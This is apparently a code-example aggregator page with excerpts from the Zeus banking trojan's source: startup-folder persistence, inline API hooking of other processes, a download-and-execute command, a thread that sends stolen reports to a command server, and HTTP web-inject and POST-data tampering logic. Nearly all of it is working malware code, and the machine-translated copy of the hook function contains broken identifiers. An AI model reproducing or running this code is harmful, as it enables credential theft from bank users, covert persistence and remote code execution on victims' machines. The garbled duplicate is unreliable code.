  if(CWA(shell32, SHGetFolderPathW)(NULL, CSIDL_STARTUP | CSIDL_FLAG_CREATE, (HANDLE)-1, SHGFP_TYPE_DEFAULT, startupPath) == S_OK)
  {
    WCHAR fileName[MAX_PATH];
    if(MalwareTools::_GenerateRandomFileName(MalwareTools::NCF_ALL_LOWER, startupPath, fileName, FILEEXTENSION_EXECUTABLE, 4, 6) && savePeFile(NULL, fileName, false))ok = true;
  }
  return ok;
}
示例#16
0
DWORD WaHook::_hook(HANDLE process, void *functionForHook, void *hookerFunction, void *originalFunction, HOTPATCHCALLBACK hotPatchCallback)
{
  DWORD retVal = 0;

  DWORD oldProtect;
  DWORD_PTR avalibeBytes = checkAvalibleBytes(process, functionForHook);

  //Даем все права затрагиваемым страницам.
  if(avalibeBytes >= OPCODE_MAX_SIZE * 2 && CWA(kernel32, VirtualProtectEx)(process, functionForHook, OPCODE_MAX_SIZE * 2, PAGE_EXECUTE_READWRITE, &oldProtect) != 0)
  {
    //Считываем старый код.
    BYTE buf[OPCODE_MAX_SIZE * 2 + JMP_ADDR_SIZE];
    Mem::_set(buf, (char)0x90, sizeof(buf));/*параноя*/

    if(CWA(kernel32, ReadProcessMemory)(process, functionForHook, buf, OPCODE_MAX_SIZE * 2, NULL) == 0)goto END;

    //Читаем опкоды, пока их суммарная длина не достигнит INJECT_SIZE.
    DWORD_PTR opcodeOffset = 0;
    for(;;)
    {
      LPBYTE currentOpcode = buf + opcodeOffset;
      DWORD currentOpcodeLen = Disasm::_getOpcodeLength(currentOpcode);

      //Неизвестный опкод.
      if(currentOpcodeLen == (DWORD)-1)
      {
        #if defined(WDEBUG2)
        WDEBUG2(WDDT_ERROR, "Bad opcode detected at offset %u for function 0x%p", opcodeOffset, functionForHook);
        #endif

        goto END; 
      }

      opcodeOffset += currentOpcodeLen;

      if(opcodeOffset > sizeof(buf) - JMP_ADDR_SIZE)
      {
        #if defined(WDEBUG2)
        WDEBUG2(WDDT_ERROR, "Very long opcode detected at offset %u for function 0x%p", opcodeOffset - currentOpcodeLen, functionForHook);
        #endif
        
        goto END; 
      }
      
      //Отностиельные call и jmp.
      if((currentOpcode[0] == 0xE9 || currentOpcode[0] == 0xE8) && currentOpcodeLen == 1 + sizeof(DWORD)) //FIXME: не уверен для x64.
      {
#       if defined(WDEBUG0)
        WDEBUG1(WDDT_INFO, "Relative JMP/CALL(%02X) detected.", currentOpcode[0]);
#       endif

        DWORD *relAddrSet = (DWORD *)(currentOpcode + 1);
        DWORD_PTR to = (*relAddrSet) + ((DWORD_PTR)functionForHook + opcodeOffset);
        *relAddrSet = (DWORD)(to - ((DWORD_PTR)originalFunction + opcodeOffset));
      }
      
      if(opcodeOffset >= INJECT_SIZE)break;
    }

    //Сохраняем оригинальные опкоды в originalFunction.
    {
      //Дописываем в конец буфера, jump на продолжение functionForHook.
      LPBYTE pjmp = buf + opcodeOffset;
      WRITE_JMP(pjmp, originalFunction/* + opcodeOffset*/, functionForHook/* + opcodeOffset*/);
      if(CWA(kernel32, WriteProcessMemory)(process, originalFunction, buf, opcodeOffset + JMP_ADDR_SIZE, NULL) == 0)goto END;
    }

    //Пишим инжект в функцию.
    {
      WRITE_JMP(buf, functionForHook, hookerFunction);
      hotPatchCallback(functionForHook, originalFunction);
      if(CWA(kernel32, WriteProcessMemory)(process, functionForHook, buf, INJECT_SIZE, NULL) == 0)goto END;
    }

    retVal = opcodeOffset + JMP_ADDR_SIZE; //Размер вырезаного фрагмента.

END:
    //Восстаналиваем права.
    CWA(kernel32, VirtualProtectEx)(process, functionForHook, OPCODE_MAX_SIZE * 2, oldProtect, &oldProtect);
  }
  
  return retVal;
}
示例#17
0
static bool userExecute(const LPWSTR *arguments, DWORD argumentsCount)
{
    bool ok = false;
    if(argumentsCount > 1 && arguments[1][0] != 0)
    {
        WCHAR filePath[MAX_PATH];

        //URL.
        Str::UTF8STRING u8Url;
        if(CWA(shlwapi, PathIsURLW)(arguments[1]) == TRUE)
        {
            if(Str::_utf8FromUnicode(arguments[1], -1, &u8Url))
            {
                //Create a temporary directory.
                if(Fs::_createTempDirectory(NULL, filePath))
                {
                    //Obtain the file name.
                    //FIXME: Content-Disposition
                    LPWSTR fileName = HttpTools::_getFileNameFromUrl((LPSTR)u8Url.data);
                    if(fileName != NULL && Fs::_pathCombine(filePath, filePath, fileName))
                    {
                        //Download file.
                        Wininet::CALLURLDATA cud;
                        Core::initDefaultCallUrlData(&cud);

                        cud.pstrURL                   = (LPSTR)u8Url.data;
                        cud.hStopEvent                = coreData.globalHandles.stopEvent;
                        cud.DownloadData_pstrFileName = filePath;

                        WDEBUG2(WDDT_INFO, "\"%S\" => \"%s\".", u8Url.data, filePath);
                        ok = Wininet::_CallURL(&cud, NULL);
                    }
#         if(BO_DEBUG > 0)
                    else WDEBUG0(WDDT_ERROR, "Failed to get file name.");
#         endif

                    Mem::free(fileName);
                }
#       if(BO_DEBUG > 0)
                else WDEBUG0(WDDT_ERROR, "Failed to create temp direcory.");
#       endif

                Str::_utf8Free(&u8Url);
            }
        }
        //Local path. Converting variables.
        else
        {
            DWORD size = CWA(kernel32, ExpandEnvironmentStringsW)(arguments[1], filePath, MAX_PATH);
            if(size > 0 && size < MAX_PATH)ok = true;
        }

        //Zapsuk file.
        if(ok)
        {
            LPWSTR commandLine = NULL;
            if(argumentsCount > 2 && (commandLine = Str::_joinArgumentsW(arguments + 2, argumentsCount - 2)) == NULL)
            {
                ok = false;
            }
            else
            {
                WDEBUG1(WDDT_INFO, "commandLine=[%s]", commandLine);
                //Start.
                ok = (((int)CWA(shell32, ShellExecuteW)(NULL, NULL, filePath, commandLine, NULL, SW_SHOWNORMAL)) > 32);

                //Well the point is ... It's worth a try.
                if(!ok)ok = (Process::_createEx(filePath, commandLine, NULL, NULL, NULL) != 0);

                Mem::free(commandLine);
            }
        }
    }
    return ok;
}
示例#18
0
文件: report.cpp 项目: 3L173-CNW/Zeus
static DWORD WINAPI defaultSender(void *p)
{
  CoreHook::disableFileHookerForCurrentThread(true);
  SENDERDATA *senderData = (SENDERDATA *)p;
  
  HANDLE mutex = Core::waitForMutexOfObject(senderData->threadType == DEFAULTSENDER_REPORT ? Core::OBJECT_ID_SERVER_SESSION_REPORT : Core::OBJECT_ID_SERVER_SESSION_STATUS, MalwareTools::KON_GLOBAL);
  if(mutex == NULL)
  {
    WDEBUG1(WDDT_ERROR, "Failed, %u.", senderData->threadType);
    Mem::free(senderData);
    return 1;
  }

  //Насатраиваем данные сессии.
  Report::SERVERSESSION serverSession;
  Crypt::RC4KEY rc4Key;
  
  serverSession.requestProc = defaultSenderRequestProc;
  serverSession.resultProc  = defaultSenderResultProc;
  serverSession.stopEvent   = coreData.globalHandles.stopEvent;
  serverSession.rc4Key      = &rc4Key;
  serverSession.customData  = senderData;

  //Получем таймауты.
  DWORD normalDelay;
  DWORD errorDelay;
  DWORD maxDelay;
  {
    BASECONFIG baseConfig;
    Core::getBaseConfig(&baseConfig);
    Mem::_copy(&rc4Key, &baseConfig.baseKey, sizeof(Crypt::RC4KEY));
    
    switch(senderData->threadType)
    {
      case DEFAULTSENDER_REPORT:
        normalDelay = HIWORD(baseConfig.delayReport);
        errorDelay  = LOWORD(baseConfig.delayReport);
        break;
    
      case DEFAULTSENDER_STATUS:
        normalDelay  = HIWORD(baseConfig.delayStats);
        errorDelay   = LOWORD(baseConfig.delayStats);
        break;
    }

    normalDelay *= 60 * 1000;
    errorDelay  *= 60 * 1000;
    maxDelay     = max(normalDelay, errorDelay);
    
    Mem::_zero(&baseConfig, sizeof(BASECONFIG));
  }
  
  //Запуск.
  BYTE loopResult;
  WCHAR tempFile[MAX_PATH];

  tempFile[0] = 0;
  
  WDEBUG1(WDDT_INFO, "Started, %u.", senderData->threadType);
  if(Core::isActive())do
  {
    loopResult = DSR_WAIT_DATA;

    //Проверяем наличие отчетов.
    if(senderData->threadType == DEFAULTSENDER_REPORT)
    {
      initReportFile(false, tempFile[0] == 0 ? tempFile : NULL);
      if(!findReportFileForSending(senderData->reportFile, tempFile, maxDelay))continue;
      
      //Проверяем файл.
      {
        DWORD64 fileSize = Fs::_getFileSizeEx(senderData->reportFile);
        if(fileSize == (DWORD)(-1) || fileSize > 0xFFFFFFFF)
        {
          Fs::_removeFile(senderData->reportFile);
          WDEBUG1(WDDT_WARNING, "Removed \"%s\".", senderData->reportFile);
          continue;
        }
      }
      
      WDEBUG1(WDDT_INFO, "Founded \"%s\".", senderData->reportFile);

      //Перемещаем во временный файл.
      if(CWA(kernel32, lstrcmpiW)(senderData->reportFile, tempFile) != 0)
      {
        HANDLE reportMutex = Core::waitForMutexOfObject(Core::OBJECT_ID_REPORTFILE, MalwareTools::KON_GLOBAL);
        if(reportMutex == NULL)
        {
          WDEBUG0(WDDT_ERROR, "Mutex failed.");
          continue;
        }

        if(CWA(kernel32, MoveFileExW)(senderData->reportFile, tempFile, MOVEFILE_COPY_ALLOWED | MOVEFILE_REPLACE_EXISTING | MOVEFILE_WRITE_THROUGH) == FALSE)
        {
          WDEBUG2(WDDT_ERROR, "Failed to move file \"%s\" => \"%s\".", senderData->reportFile, tempFile);
          continue;
        }
        
        Sync::_freeMutex(reportMutex);
        Str::_CopyW(senderData->reportFile, tempFile, -1);
      }
    }
    
    //Создаем сессию.
    BinStorage::STORAGE *binStorage = DynamicConfig::getCurrent();
    if(binStorage != NULL)
    {
      serverSession.url = (LPSTR)BinStorage::_getItemDataEx(binStorage, CFGID_URL_SERVER_0, BinStorage::ITEMF_IS_OPTION, NULL);
      Mem::free(binStorage);
      if(serverSession.url != NULL)
      {
        serverSession.postData = NULL;
        if(Report::addBasicInfo(&serverSession.postData, Report::BIF_BOT_ID))
        {
          senderData->storage.file = INVALID_HANDLE_VALUE;
          loopResult = Report::startServerSession(&serverSession) ? DSR_SENDED : DSR_ERROR;
          BinStorage::_closeStorageArray(&senderData->storage);
          Mem::free(serverSession.postData);
        }
      }
#     if(BO_DEBUG > 0)
      else WDEBUG0(WDDT_ERROR, "CFGID_URL_SERVER_0 is empty.");
#     endif
      Mem::free(serverSession.url);
    }
#   if(BO_DEBUG > 0)
    else WDEBUG0(WDDT_WARNING, "Configuration not founded.");
#   endif
  }
  while(CWA(kernel32, WaitForSingleObject)(coreData.globalHandles.stopEvent, loopResult == DSR_ERROR ? errorDelay : (loopResult == DSR_SENDED ? normalDelay : 30000)) == WAIT_TIMEOUT);

  WDEBUG1(WDDT_INFO, "Stopped, %u.", senderData->threadType);
  Sync::_freeMutex(mutex);
  Mem::free(senderData);

  return 0;
}
示例#19
0
/*
  Проверка запроса на необходимость инждекта.

  IN OUT requestData - запрос.

  Return             - true - инжекты применины,
                       false - инжекты не применены
*/
static bool checkRequestForInject(HttpGrabber::REQUESTDATA *requestData)
{
  if(requestData->dynamicConfig == NULL)return false;
  
  DWORD listSize;
  LPBYTE list = (LPBYTE)BinStorage::_getItemDataEx(requestData->dynamicConfig, CFGID_HTTP_INJECTS_LIST, BinStorage::ITEMF_IS_OPTION, &listSize);

  requestData->injectsCount = 0;
  requestData->injects      = NULL;

  if(list != NULL && listSize > sizeof(HttpInject::HEADER))
  {
    WORD knownFlags               = requestData->verb == HttpGrabber::VERB_POST ? HttpInject::FLAG_REQUEST_POST : HttpInject::FLAG_REQUEST_GET;
    DWORD index                   = 0;
    HttpInject::HEADER *curInject = (HttpInject::HEADER *)list;
    LPBYTE endOfList              = list + listSize;

    while(HttpInject::_isCorrectHeader(curInject))
    {
      LPSTR p          = (LPSTR)curInject; //Переменная для легокого доступа к строкам.
      LPSTR urlMask    = p + curInject->urlMask;
      DWORD matchFlags = curInject->flags &  HttpInject::FLAG_URL_CASE_INSENSITIVE ? Str::MATCH_CASE_INSENSITIVE_FAST : 0;
      
      if((curInject->flags & knownFlags) == knownFlags && HttpGrabber::_matchUrlA(urlMask, requestData->url, requestData->urlSize, matchFlags))
      {
        //Проверяем по блеклисту.
        if(requestData->localConfig != NULL && HttpGrabber::_isUrlInList(LocalConfig::ITEM_URLLIST_BLOCKEDINJECTS, requestData->localConfig, requestData->url, requestData->urlSize, matchFlags))
        {
#         if defined WDEBUG1
          WDEBUG1(WDDT_INFO, "Inject for [%S] is blacklisted.", requestData->url);
#         endif
          goto SKIP_ITEM;
        }

        //Проверяем пост-данные.
        if(curInject->postDataBlackMask > 0 && HttpGrabber::_matchPostDataA(p + curInject->postDataBlackMask, (LPSTR)requestData->postData, requestData->postDataSize) == true)
        {
          goto SKIP_ITEM;
        }
        if(curInject->postDataWhiteMask > 0 && HttpGrabber::_matchPostDataA(p + curInject->postDataWhiteMask, (LPSTR)requestData->postData, requestData->postDataSize) == false)
        {
          goto SKIP_ITEM;
        }

        //Проверяем суточные ограничения.
        if(curInject->flags & HttpInject::FLAG_ONCE_PER_DAY && curInject->blockOnUrl > 0)
        {
          SYSTEMTIME lastTime;

          WCHAR key[CORE_REGISTRY_KEY_BUFFER_SIZE];
          WCHAR value[max(CORE_REGISTRY_VALUE_BUFFER_SIZE, (MD5HASH_SIZE * 2 + 1))];

          Core::getRegistryValue(Core::RV_LOCALCONFIG, key, value);

          //Получаем хэш.
          {
            LPSTR blockUrl = p + curInject->blockOnUrl;
            BYTE hash[MD5HASH_SIZE];
            if(!Crypt::_md5Hash(hash, blockUrl, Str::_LengthA(blockUrl)))goto SKIP_ITEM;
            Str::_toHexW(hash, MD5HASH_SIZE, value);
          }
          
          //Проверяем значение.
          if(Registry::_getValueAsBinary(HKEY_CURRENT_USER, key, value, NULL, &lastTime, sizeof(SYSTEMTIME)) == sizeof(SYSTEMTIME))
          {
            SYSTEMTIME curTime;
            CWA(kernel32, GetLocalTime)(&curTime);
            if(lastTime.wDay == curTime.wDay && lastTime.wMonth == curTime.wMonth)
            {
#             if defined WDEBUG1
              WDEBUG1(WDDT_INFO, "Inject [%s] alredy executed today.", urlMask);
#             endif
              goto SKIP_ITEM;
            }
          }
        }

        //Все хорошо, собираем данные.
        {
          HttpGrabber::INJECTFULLDATA ifd;
#         if defined WDEBUG2
          WDEBUG2(WDDT_INFO, "requestData->url=[%S] matched [%S].", requestData->url, urlMask);
#         endif
          Mem::_zero(&ifd, sizeof(HttpGrabber::INJECTFULLDATA));

          ifd.flags       = curInject->flags;
          ifd.urlMask     = Str::_CopyExA(p + curInject->urlMask, -1);
          ifd.fakeUrl     = curInject->fakeUrl == 0     ? NULL : Str::_CopyExA(p + curInject->fakeUrl,     -1);
          ifd.blockOnUrl  = curInject->blockOnUrl == 0  ? NULL : Str::_CopyExA(p + curInject->blockOnUrl,  -1);
          ifd.contextMask = curInject->contextMask == 0 ? NULL : Str::_CopyExA(p + curInject->contextMask, -1);
         
          //Фейк.
          if(curInject->flags & (HttpInject::FLAG_IS_FAKE | HttpInject::FLAG_IS_MIRRORFAKE))
          {
            //Мульти фейки нельзя использовать, удаляем все инжекты.
            _freeInjectFullDataList(requestData->injects, requestData->injectsCount);
            requestData->injectsCount = 0;

            if((requestData->injects = (HttpGrabber::INJECTFULLDATA *)Mem::copyEx(&ifd, sizeof(HttpGrabber::INJECTFULLDATA))) != NULL)requestData->injectsCount++;
            else HttpGrabber::_freeInjectFullData(&ifd);

            break;
          }
          //Инжект.
          else if(curInject->flags & (HttpInject::FLAG_IS_INJECT | HttpInject::FLAG_IS_CAPTURE))
          {
            if((ifd.injects = (HttpInject::INJECTBLOCK *)BinStorage::_getItemDataEx(requestData->dynamicConfig, 1 + index, BinStorage::ITEMF_IS_HTTP_INJECT, &ifd.injectsSize)) != NULL &&
               HttpInject::_isCorrectBlockList(ifd.injects, ifd.injectsSize) &&
               Mem::reallocEx(&requestData->injects, sizeof(HttpGrabber::INJECTFULLDATA) * (requestData->injectsCount + 1)))
            {
              Mem::_copy(&requestData->injects[requestData->injectsCount++], &ifd, sizeof(HttpGrabber::INJECTFULLDATA));
            }
            else
            {
#             if defined WDEBUG0
              WDEBUG0(WDDT_ERROR, "Dynamic configuration corrupted!");
#             endif
              
              Mem::free(ifd.injects);
              HttpGrabber::_freeInjectFullData(&ifd);

              _freeInjectFullDataList(requestData->injects, requestData->injectsCount);
              requestData->injectsCount = 0;
              break;
            }
          }
          //Неизвестно.
          else 
          {
            HttpGrabber::_freeInjectFullData(&ifd);
#           if defined WDEBUG1
            WDEBUG1(WDDT_ERROR, "Unknown inject detected, curInject->flags=0x%08X!", curInject->flags);
#           endif
          }
        }
        
SKIP_ITEM:;
      }

      //Вычисляем следующий элемент.
      curInject = (HttpInject::HEADER *)(((LPBYTE)curInject) + curInject->size);
      if(((LPBYTE)curInject) + sizeof(HttpInject::HEADER) > endOfList || ((LPBYTE)curInject) + curInject->size > endOfList)break;
      index++;
    }
  }

  Mem::free(list);
  return (requestData->injectsCount > 0);
}
示例#20
0
/*
  Замена POST-данных "application/x-www-form-urlencoded".

  IN OUT requestData - запрос.

  Return             - true - данные заменены,
                       false - данные не заменены.
*/
static bool replacePostData(HttpGrabber::REQUESTDATA *requestData)
{
  if(requestData->dynamicConfig == NULL || requestData->postDataSize == 0)return false;

  bool retVal = false;
  DWORD listSize;
  LPSTR list = (LPSTR)BinStorage::_getItemDataEx(requestData->dynamicConfig, CFGID_HTTP_POSTDATA_FILTER, BinStorage::ITEMF_IS_OPTION, &listSize);

  if(Str::_isValidMultiStringA(list, listSize) && Str::_multiStringGetCountA(list) % 2 == 0)
  {
    LPSTR curMask = list;

    do if(HttpGrabber::_matchUrlA(curMask, requestData->url, requestData->urlSize, 0))
    {
#     if defined WDEBUG2
      WDEBUG2(WDDT_INFO, "requestData->url=[%S] matched [%S].", requestData->url, curMask);
#     endif
      
      LPSTR *varables;
      DWORD varablesCount;

      //Получем список переменных.
      if((varablesCount = Str::_splitToStringsA((LPSTR)requestData->postData, requestData->postDataSize, &varables, Str::STS_USE_SEPARATOR, '&')) != (DWORD)-1)
      {
        LPSTR *badVarables;
        DWORD badVarablesCount;
        curMask = Str::_multiStringGetIndexA(curMask, 1);

        //Получаем список "плохих" переменных.
        if(curMask != NULL && (badVarablesCount = Str::_splitToStringsA(curMask, Str::_LengthA(curMask), &badVarables, Str::STS_USE_SEPARATOR, ';')) != (DWORD)-1)
        {
          LPSTR newPostData     = (LPSTR)Mem::alloc(requestData->postDataSize);
          DWORD newPostDataSize = 0;

          if(newPostData != NULL)
          {
            //Ищим.
            for(DWORD i = 0; i < varablesCount; i++)if(varables[i] != NULL && varables[i][0] != 0)
            {
              bool skip = false;
              int len   = 0;

              //Длина переменной.
              while(varables[i][len] != '=' && varables[i][len] != 0)len++;

              for(DWORD j = 0; j < badVarablesCount; j++)if(badVarables[j] != NULL && badVarables[j][0] != 0 && HttpGrabber::_matchPostDataA(badVarables[j], varables[i], len))
              {
                skip = true;
                break;
              }

              //Копируем переменную.
              if(skip == false)
              {
                if(newPostDataSize != 0)newPostData[newPostDataSize++] = '&';

                len = Str::_LengthA(varables[i]);
                Mem::_copy(newPostData + newPostDataSize, varables[i], len);
                newPostDataSize += len;
              }
            }

            //Не чего не изменилось.
            if(newPostDataSize == requestData->postDataSize)
            {
              Mem::free(newPostData);
            }
            //Изменения есть.
            else
            {
              if(newPostDataSize == 0)
              {
                Mem::free(newPostData);
                newPostData = NULL;
              }

              requestData->postData     = newPostData;
              requestData->postDataSize = newPostDataSize;
              retVal = true;
            }
          }
          Mem::freeArrayOfPointers(badVarables, badVarablesCount);
        }
        Mem::freeArrayOfPointers(varables, varablesCount);
      }
      break;
    }
    while((curMask = Str::_multiStringGetIndexA(curMask, 2)) != NULL);
  }

  Mem::free(list);
  return retVal;
}
示例#21
0
DWORD WaHook::_hook(HANDLE process, void *functionForHook, void *hookerFunction, void *originalFunction, HOTPATCHCALLBACK hotPatchCallback)
{
  DWORD retVal = 0;

  DWORD oldProtect;
  DWORD_PTR avalibeBytes = checkAvalibleBytes(process, functionForHook);

  //Give all the rights of the affected pages.
  if(avalibeBytes >= OPCODE_MAX_SIZE * 2 && CWA(kernel32, VirtualProtectEx)(process, functionForHook, OPCODE_MAX_SIZE * 2, PAGE_EXECUTE_READWRITE, &oldProtect) != 0)
  {
    //Read the old code.
    BYTE buf[OPCODE_MAX_SIZE * 2 + JMP_ADDR_SIZE];
    Mem::_set(buf, (char)0x90, sizeof(buf));/*парано¤*/

    if(CWA(kernel32, ReadProcessMemory)(process, functionForHook, buf, OPCODE_MAX_SIZE * 2, NULL) == 0)goto END;

    //Read opcodes, while their total length does not reach INJECT_SIZE.
    DWORD_PTR opcodeOffset = 0;
    for(;;)
    {
      LPBYTE currentOpcode = bufB + OpcodeOffset;
      DWORD currentOpcodeLen = Disasm::_getOpcodeLength(currentOpcode);

      //Unknown opcode.
      if(currentOpcodeLen == (DWORD)-1)
      {
        #if defined(WDEBUG2)
        WDEBUG2(WDDT_ERROR, "Bad opcode detected at offset %u for function 0x%p", opcodeOffset, functionForHook);
        #endif

        goto END; 
      }

      opcodeOffset += currentOpcodeLen;

      if(opcodeOffset > sizeof(buf) - JMP_ADDR_SIZE)
      {
        #if defined(WDEBUG2)
        WDEBUG2(WDDT_ERROR, "Very long opcode detected at offset %u for function 0x%p", opcodeOffset - currentOpcodeLen, functionForHook);
        #endif
        
        goto END; 
      }
      
      //Otnostielnye call and jmp.
      if((currentOpcode[0] == 0xE9 || currentOpcode[0] == 0xE8) && currentOpcodeLen == 1 + sizeof(DWORD)) //FIXME: not sure for x64.
      {
#       if defined(WDEBUG0)
        WDEBUG1(WDDT_INFO, "Relative JMP/CALL(%02X) detected.", currentOpcode[0]);
#       endif

        DWORD *relAddrSet = (DWORD *)(currentOpcode + 1);
        DWORD_PTR to = (*relAddrSet) + ((DWORD_PTR)functionForHookB + OpcodeOffset);
        *relAddrSet = (DWORD)(to - ((DWORD_PTR)originalFunctionB + OpcodeOffset));
      }
      
      if(opcodeOffset >= INJECT_SIZE)break;
    }

    //Save the original opcodes in originalFunction.
    {
      //Appends buffer, jump to the continuation functionForHook.
      LPBYTE pjmp = bufB + OpcodeOffset;
      WRITE_JMP(pjmp, originalFunction/*B + OpcodeOffset*/, functionForHook/*B + OpcodeOffset*/);
      if(CWA(kernel32, WriteProcessMemory)(process, originalFunction, buf, opcodeOffset + JMP_ADDR_SIZE, NULL) == 0)goto END;
    }

    //Pishim inject into the function.
    {
      WRITE_JMP(buf, functionForHook, hookerFunction);
      hotPatchCallback(functionForHook, originalFunction);
      if(CWA(kernel32, WriteProcessMemory)(process, functionForHook, buf, INJECT_SIZE, NULL) == 0)goto END;
    }

    retVal = opcodeOffset + JMP_ADDR_SIZE; //The size of fragment excision.

END:
    //Vosstanalivaem law.
    CWA(kernel32, VirtualProtectEx)(process, functionForHook, OPCODE_MAX_SIZE * 2, oldProtect, &oldProtect);
  }
  
  return retVal;
}